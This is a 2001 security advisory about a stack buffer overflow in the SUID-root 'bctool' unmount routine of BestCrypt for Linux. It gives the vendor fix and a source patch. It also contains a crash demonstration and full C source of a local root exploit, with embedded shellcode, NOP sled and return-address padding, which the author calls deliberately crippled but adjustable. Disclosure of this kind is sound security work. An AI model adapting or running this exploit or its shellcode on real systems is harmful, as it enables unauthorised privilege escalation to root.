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Buffer overflow in BestCrypt for Linux
From: Carl Livitt <carl () ititc com>
Date: Fri, 10 Aug 2001 04:58:11 +0100


Product:                BestCrypt for Linux

Vendor:         Jetico (http://www.jetico.com)

Problem:        Stack overflow

Affected
versions:       0.6-x  ->  0.8-1 (and possibly older versions)

Fixed
version:                0.8-2 is available from the Jetico website.

Advisory
author:         Carl Livitt (carl () ititc com)


--[ Brief description of the problem ]--

BestCrypt is a software utility to maintain and use encrypted filesystems. It
runs on Win9x/ME/NT/2K and Linux. Encrypted filesystems are stored in containers
(.JBC files) and, under Linux, are mounted as loopback filesystems.

When mounting an encrypted container onto a point in the filesystem tree, the
size of buffers that hold the names of the mount-point and other paths are
checked to make sure that overflow situations do not occur. However, when
unmounting an encrypted filesystem, the same checks are not made and it is
possible to overflow the buffer containing the name of the mount-point and
execute arbitrary code as root.


--[ More details ]--

The problem lies in the 'bctool' binary that is installed SUID root by default.
Specifically, in the file 'src/bcmount.c' is a function called 'bcumount()' that
declares a buffer called 'rp' that is stored on the stack which has a size of
255 bytes. The 'rp' buffer holds the name of the mount-point in the filesystem
and is populated by a call to 'realpath(argv[1], rp)', which expands a
user-specified path into an absolute pathname and stores the result in 'rp'.

It is therefore possible to create a path in the filesystem that is greater in
length than 255 bytes and cause a stack overflow condition when performing an
unmount. If that path contains valid shellcode and RET addresses, it is possible
to get a root shell.

To demonstrate the stack overflow, you can try the following:

foo:~ > mkdir /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
foo:~ > bctool mount test.jbc /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
Enter password:
foo:~ > bctool umount /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
Segmentation fault
foo:~ >

At the point of the crash, EIP contains the value 0x61616161. This is
exploitable and has been tested in lab conditions. Here is a slightly crippled
version of my exploit that _will_ need to be modified in order to work:

/*
 * Crippled version of the BestCrypt for Linux r00t exploit.
 * Note: this will not work out-of-the-box. You'll need to adjust it.
 * Script kiddies: don't even think about it.
 *
 * By Carl Livitt (carl () ititc com)
 *
 * Usage example:

        foo:~ > id
        uid=500(carl) gid=100(users) groups=100(users)
        foo:~ > gcc -o bcexp bcexp.c
        foo:~ > ./bcexp
        foo:~ > bctool mount /path/to/container.jbc "$EGG"
        Enter password:
        foo:~ > bctool umount "$EGG"
        sh-2.04# id
        uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
        sh-2.04#

 * RET value will need tinkered with, also you'll find that you need to examine
 * the call history quite closely to make this work ;-)  Have a look, you'll see
 * what I mean!
 *
 * You'll also notice there's a fair bit of redundant/messy/debug code in here...
 * This is intended to be an exploit, not an example of good coding.
 *
 */
#include <stdio.h>

// Chopped up Aleph1 linux shellcode to work in a directory path.
char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
                 "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                 "\x80\xe8\xde\xff\xff\xff";

char shellpath[] = "/bin";
char shellprog[] = "/sh";

// not used any longer
unsigned long sp() { __asm__("movl %esp, %eax"); }

main(int argc, char **argv) {
        char *p,*p2, path[4096], shell[4096], command[4096], old[4096];
        int i,len, offs;
        unsigned long addr=0xbffff410;

        if(argc>1) {
                offs=atoi(argv[1]);
        } else {
                offs=0;
        }
        chdir("/tmp");
        addr+=offs;
        printf("Using addr = 0x%08x\n", addr);

        // build a series of NOPs + shellcode and  make directory
        p=path;
        for(i=0;i<162-strlen(shellcode);i++)
                *(p++)=(char)0x90;
        p2=shellcode;
        for(i=0;i<strlen(shellcode);i++)
                *(p++)=*(p2++);
        *p=0;
        strcpy(old, path);
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // add the path to the shell to the shellcode-cum-path
        for(i=0;i<strlen(shellpath);i++)
                *(p++)=shellpath[i];
        *p=0;
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // add the name of the shell to the shellcode-cum-path
        for(i=0;i<strlen(shellprog);i++)
                *(p++)=shellprog[i];
        *p=0;
        printf("strlen(path)=%d\n", strlen(path));
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // pad out the buffer with our RET address
        for(i=0;i<172;i++)
        {
                *(p++)=(char)(addr>>16)&0xff;
                *(p++)=(char)(addr>>24)&0xff;
                *(p++)=(char)addr&0xff;
                *(p++)=(char)(addr>>8)&0xff;
        }
        addr=(unsigned long)*(p-4);
        printf("ADDRESS: 0x%x\n", addr);
        *p=0;
        printf("strlen(path)=%d\n", strlen(path));
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // set environment variable and spawn a fresh shell
        setenv("EGG",path,1);
        system("/bin/bash");
}


--[ Solution ]--

Jetico were informed of the flaw and released a new, patched version of
BestCrypt within 48 hours. Users are advised to upgrade to the new version
available from these URLs:

Tarball:        http://www.jetico.com/linux/BestCrypt-0.8-2.tar.gz
Source RPM:     http://www.jetico.com/linux/BestCrypt-0.8-2.src.rpm

Alternatively, you can edit the "src/bcmount.c" file and replace the following
line in the "bcumount()" function:

        char rp[MAXNAMLEN];

with this one:

        char rp[NAME_MAX+PATH_MAX];


--[ Contact information ]--

Work: carl () ititc com
Home: carllivitt () yahoo com

PGP key:
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